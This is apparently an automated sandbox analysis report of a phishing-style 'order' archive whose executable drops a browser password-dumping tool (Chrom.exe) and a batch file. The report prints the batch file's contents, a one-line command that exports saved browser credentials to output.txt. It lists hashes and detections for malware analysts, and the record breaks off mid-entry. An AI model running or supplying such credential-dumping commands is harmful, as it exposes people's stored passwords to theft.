C:\Users\user\AppData\Local\Temp\chp6DA0.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp6EAA.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp6EF8.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp6F37.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp7020.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp7040.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp7282.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp7467.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp7590.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp7716.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp789D.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp7AFE.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp9214.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chp92B2.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chpA771.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chpA80E.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Chrom.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	402944
Entropy (8bit):	6.666814366272581
Encrypted:	false
SSDEEP:
MD5:	2024EA60DA870A221DB260482117258B
SHA1:	716554DC580A82CC17A1035ADD302C0766590964
SHA-256:	53043BD27F47DBBE3E5AC691D8A586AB56A33F734356BE9B8E49C7E975241A56
SHA-512:	FFCD4436B80169BA18DB5B7C818C5DA71661798963C0A5F5FBAC99A6974A7729D38871E52BC36C766824DD54F2C8FA5711415EC45799DB65C11293D8B829693B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Chrom.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Joe Sandbox View:	Filename: Quote for new order 2025.exe, Detection: malicious, Browse Filename: Quote for new order 2025.exe, Detection: malicious, Browse Filename: #U0417#U0430#U043f#U0440#U043e#U0441 #U041a#U041f.docx.scr, Detection: malicious, Browse Filename: curriculum_vitae-copie.vbs, Detection: malicious, Browse Filename: curriculum_vitae-copie_(1).vbs, Detection: malicious, Browse Filename: curriculum_vitae-copie.vbs, Detection: malicious, Browse Filename: UDO_Device_Enrolment.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................9.......9............... ......................;.......;.......;......Rich............PE..L....hy`.....................P......,i............@..................................................................................@..................................................................................p............................text............................... ..`.rdata..............................@..@.data..............................@....rsrc........@......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	543744
Entropy (8bit):	6.9942456354156635
Encrypted:	false
SSDEEP:
MD5:	B7DE28D4862B78D70CC0E6234049B842
SHA1:	7E96F57345C6EBB0CC745A91CEE6AA630CE3E7EE
SHA-256:	59C673A77402AFA5320BF492CD3E6EAF0DC81EA0FC3EE2E716C88F011E717E58
SHA-512:	F4A16AEBDAAF1A87A16CBEB5408DAF59A59D2175BFFDF073504FA67337A6952C809DC2082A6D128D567D120487170B684AC2A650918618118DD81BF87F3058CE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...P.............V.... ........@.. ....................................`.....................................O..................................h...8............................................ ............... ..H............text...\.... ...................... ..`.rsrc..............................@..@.reloc...............J..............@..B................8.......H.......x^...G..........p....%...........................................0............(....(..........(.....o..........................( ......(!......("......(#......($....N..(....oN...(%......0.............(&......('....+..&..((.....s)........s........s+........s,........s-..........0...........~....o.....+...0...........~....o/....+...0...........~....o0....+...0...........~....o1....+...0...........~....o2....+...0..<........~.....(3.....,!r...p.....(4...o5...

C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\windown.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	33
Entropy (8bit):	3.8013774524295485
Encrypted:	false
SSDEEP:
MD5:	AB9CCDFF55A9BE4B55EC1560B01447B5
SHA1:	DBF1A7C20E78B1156BA5A1F4F9F45757582D7542
SHA-256:	2B90B9D067A6EA1795075872E83A75DDC2B69A59F51D004DFF13ED97693AF18B
SHA-512:	5966B3B8E2F20699DFBD9CC7B26B2450BE4313CE264A43342D975420662C8614B3F0EA0230ABB63CAF2BC003921CCF168EA4C6BD09A8B9179DA62B71549C569D
Malicious:	false
Preview:	.\Chrom.exe /stext .\output.txt..

C:\Users\user\AppData\Local\Temp\unarchiver.log

Download File

Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	5.164086233491129
Encrypted:	false
SSDEEP:
MD5:	1F3F35B44D47FD7CBCD3C366C57C4E8D
SHA1:	DC0B64814702573E00AB69BDF2035E68D2E84401
SHA-256:	53EE7225E88E69A6BA0DC892F74FA45D9EB36AED81D85BB5CDF360C46F478071
SHA-512:	3FE569150E013E3E7A5B77EB9A9C59538B36C2CCA01B3445814E26248C8A3ED0C664F0A3C6FCC31806589681FE091A3BB2A7FB83F157AA942E4D6FB55C063A5C
Malicious:	false
Preview:	01/14/2025 9:37 PM: Unpack: C:\Users\user\Downloads\Reversed order 24-25.zip..01/14/2025 9:37 PM: Tmp dir: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk..01/14/2025 9:37 PM: Received from standard out: ..01/14/2025 9:37 PM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..01/14/2025 9:37 PM: Received from standard out: ..01/14/2025 9:37 PM: Received from standard out: Scanning the drive for archives:..01/14/2025 9:37 PM: Received from standard out: 1 file, 346769 bytes (339 KiB)..01/14/2025 9:37 PM: Received from standard out: ..01/14/2025 9:37 PM: Received from standard out: Extracting archive: C:\Users\user\Downloads\Reversed order 24-25.zip..01/14/2025 9:37 PM: Received from standard out: --..01/14/2025 9:37 PM: Received from standard out: Path = C:\Users\user\Downloads\Reversed order 24-25.zip..01/14/2025 9:37 PM: Received from standard out: Type = zip..01/14/2025 9:37 PM: Received from standard out: Physical Size = 346769..01/14

C:\Users\user\Downloads\Chrom.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	402944
Entropy (8bit):	6.666814366272581
Encrypted:	false
SSDEEP:
MD5:	2024EA60DA870A221DB260482117258B
SHA1:	716554DC580A82CC17A1035ADD302C0766590964
SHA-256:	53043BD27F47DBBE3E5AC691D8A586AB56A33F734356BE9B8E49C7E975241A56
SHA-512:	FFCD4436B80169BA18DB5B7C818C5DA71661798963C0A5F5FBAC99A6974A7729D38871E52BC36C766824DD54F2C8FA5711415EC45799DB65C11293D8B829693B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: C:\Users\user\Downloads\Chrom.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................9.......9............... ......................;.......;.......;......Rich............PE..L....hy`.....................P......,i............@..................................................................................@..................................................................................p............................text............................... ..`.rdata..............................@..@.data..............................@....rsrc........@......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Downloads\Reversed order 24-25.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	346769
Entropy (8bit):	7.998718069580938
Encrypted:	true
SSDEEP:
MD5:	F149CA2510F2F8AD31758308F2008551
SHA1:	53C35DC7DE4320CACED7FB1E1961E859E5132E06
SHA-256:	A3AA0398A17BC55BE013E49C10E8DCFE35F6D16A2A15505A534EF10265908BDE
SHA-512:	9ACAFD9F0A208AD6ABAB7D49780B7B135821201E8D1A02374207EB99139893361DFFB0EF5813FA53F0E02B1EF7875FCF183D749A4BD8D49BD398814AE97C48C2
Malicious:	true
Preview:	PK........u-Z8.5..I...L......Reversed order 24-25.exe.[{\|..}...........$K......$K.lK..'o..m.........'^6v......BHP)ql.mjS..P..!.I..! .@i.-.%..H..~.{.7w{.&.O.G.#...f....o~3s;{..[........x..5.>......]5..I..N.7i..u.y....+.5.3...XW..^.Yt....E...qm..q.b.S\|~x.......d..N.x .p.......J.'...7]....f9p./..._.Yx..@..(..o~...0..q..!..ye..h..'..]......;.vQ[.(.P....[.b..Fm....\|...Zu.....Tg.:.]........)..k...7....>T..0.^Z^...[..B.....x.Q.F......F.......V........s.?..d.9.Oe.g@14.2?.7.].%.....z..!~..\|jYP.w ../..s.s...)D...R.O......P.C..c.Q...a....I.s...3......-..9.J4{.4.....b..GaZ..0G.....h(7...{..+F...Yx...[,<.r5.P(#.l...r.A.........J7.T....s.s.w...AT.....F+bfU.`-..s{>A.8.b.d...\'.FUiU.#1".a...lR.Q..5.3.(v4...A....r.......t.l".X.8.2....8..N.d@..Z..~LM.#?..9.2.."...X$.......,gS.Q!..=....a..:...GF...b,$.......E...,2"..0.....c:..tj.....l.S....A.......$Aw2=,l.:M5N.H.X7b.8...H2.J..)=.......z1....A=p..@2..:GF...t.Z2........r...TR.N.#.6.......1%...p..DV

C:\Users\user\Downloads\Reversed order 24-25.zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	346769
Entropy (8bit):	7.998718069580938
Encrypted:	true
SSDEEP:
MD5:	F149CA2510F2F8AD31758308F2008551
SHA1:	53C35DC7DE4320CACED7FB1E1961E859E5132E06
SHA-256:	A3AA0398A17BC55BE013E49C10E8DCFE35F6D16A2A15505A534EF10265908BDE
SHA-512:	9ACAFD9F0A208AD6ABAB7D49780B7B135821201E8D1A02374207EB99139893361DFFB0EF5813FA53F0E02B1EF7875FCF183D749A4BD8D49BD398814AE97C48C2
Malicious:	false
Preview:	PK........u-Z8.5..I...L......Reversed order 24-25.exe.[{\|..}...........$K......$K.lK..'o..m.........'^6v......BHP)ql.mjS..P..!.I..! .@i.-.%..H..~.{.7w{.&.O.G.#...f....o~3s;{..[........x..5.>......]5..I..N.7i..u.y....+.5.3...XW..^.Yt....E...qm..q.b.S\|~x.......d..N.x .p.......J.'...7]....f9p./..._.Yx..@..(..o~...0..q..!..ye..h..'..]......;.vQ[.(.P....[.b..Fm....\|...Zu.....Tg.:.]........)..k...7....>T..0.^Z^...[..B.....x.Q.F......F.......V........s.?..d.9.Oe.g@14.2?.7.].%.....z..!~..\|jYP.w ../..s.s...)D...R.O......P.C..c.Q...a....I.s...3......-..9.J4{.4.....b..GaZ..0G.....h(7...{..+F...Yx...[,<.r5.P(#.l...r.A.........J7.T....s.s.w...AT.....F+bfU.`-..s{>A.8.b.d...\'.FUiU.#1".a...lR.Q..5.3.(v4...A....r.......t.l".X.8.2....8..N.d@..Z..~LM.#?..9.2.."...X$.......,gS.Q!..=....a..:...GF...b,$.......E...,2"..0.....c:..tj.....l.S....A.......$Aw2=,l.:M5N.H.X7b.8...H2.J..)=.......z1....A=p..@2..:GF...t.Z2........r...TR.N.#.6.......1%...p..DV

C:\Users\user\Downloads\output.txt

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\Downloads\windown.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	33
Entropy (8bit):	3.8013774524295485
Encrypted:	false
SSDEEP:
MD5:	AB9CCDFF55A9BE4B55EC1560B01447B5
SHA1:	DBF1A7C20E78B1156BA5A1F4F9F45757582D7542
SHA-256:	2B90B9D067A6EA1795075872E83A75DDC2B69A59F51D004DFF13ED97693AF18B
SHA-512:	5966B3B8E2F20699DFBD9CC7B26B2450BE4313CE264A43342D975420662C8614B3F0EA0230ABB63CAF2BC003921CCF168EA4C6BD09A8B9179DA62B71549C569D
Malicious:	false
Preview:	.\Chrom.exe /stext .\output.txt..

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4933), with no line terminators
Category:	downloaded
Size (bytes):	4933
Entropy (8bit):	4.903210630269961
Encrypted:	false
SSDEEP:
MD5:	E372DF47BD19E1563B557D7BDB817188
SHA1:	4EFDF4050A78BDBD88AA255955B7423105895DD0
SHA-256:	4B7693154069C53A16468D09D89C9EBA5DA6C0DFC69CF4D7EB675E32BA663361
SHA-512:	38BC75BF085413258BB8929641980CFAC58A4792D70EDCD409938B195ADD3C2C78862D90622132E21B364F862E2DEFD7C879B81F96D6608F448DA4C2628DFF0E
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/wc-blocks-vendors-style.css?ver=6.7.3
Preview:	.components-custom-select-control{position:relative}.components-custom-select-control__label{display:block;margin-bottom:8px}.components-custom-select-control__button{border:1px solid #757575;border-radius:2px;min-height:30px;min-width:130px;position:relative;text-align:left}.components-custom-select-control__button.components-custom-select-control__button{padding-right:24px}.components-custom-select-control__button:focus:not(:disabled){border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.components-custom-select-control__button .components-custom-select-control__button-icon{height:100%;padding:0;position:absolute;right:0;top:0}.components-custom-select-control__menu{border:1px solid #1e1e1e;background-color:#fff;border-radius:2px;outline:none;transition:none;max-height:400px;min-width:100%;overflow:auto;padding:0;position:absolute;z-index:1000000}.components-custom-select-control__menu[aria-hidden=true]{display:none}.components-custom-select-contr

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
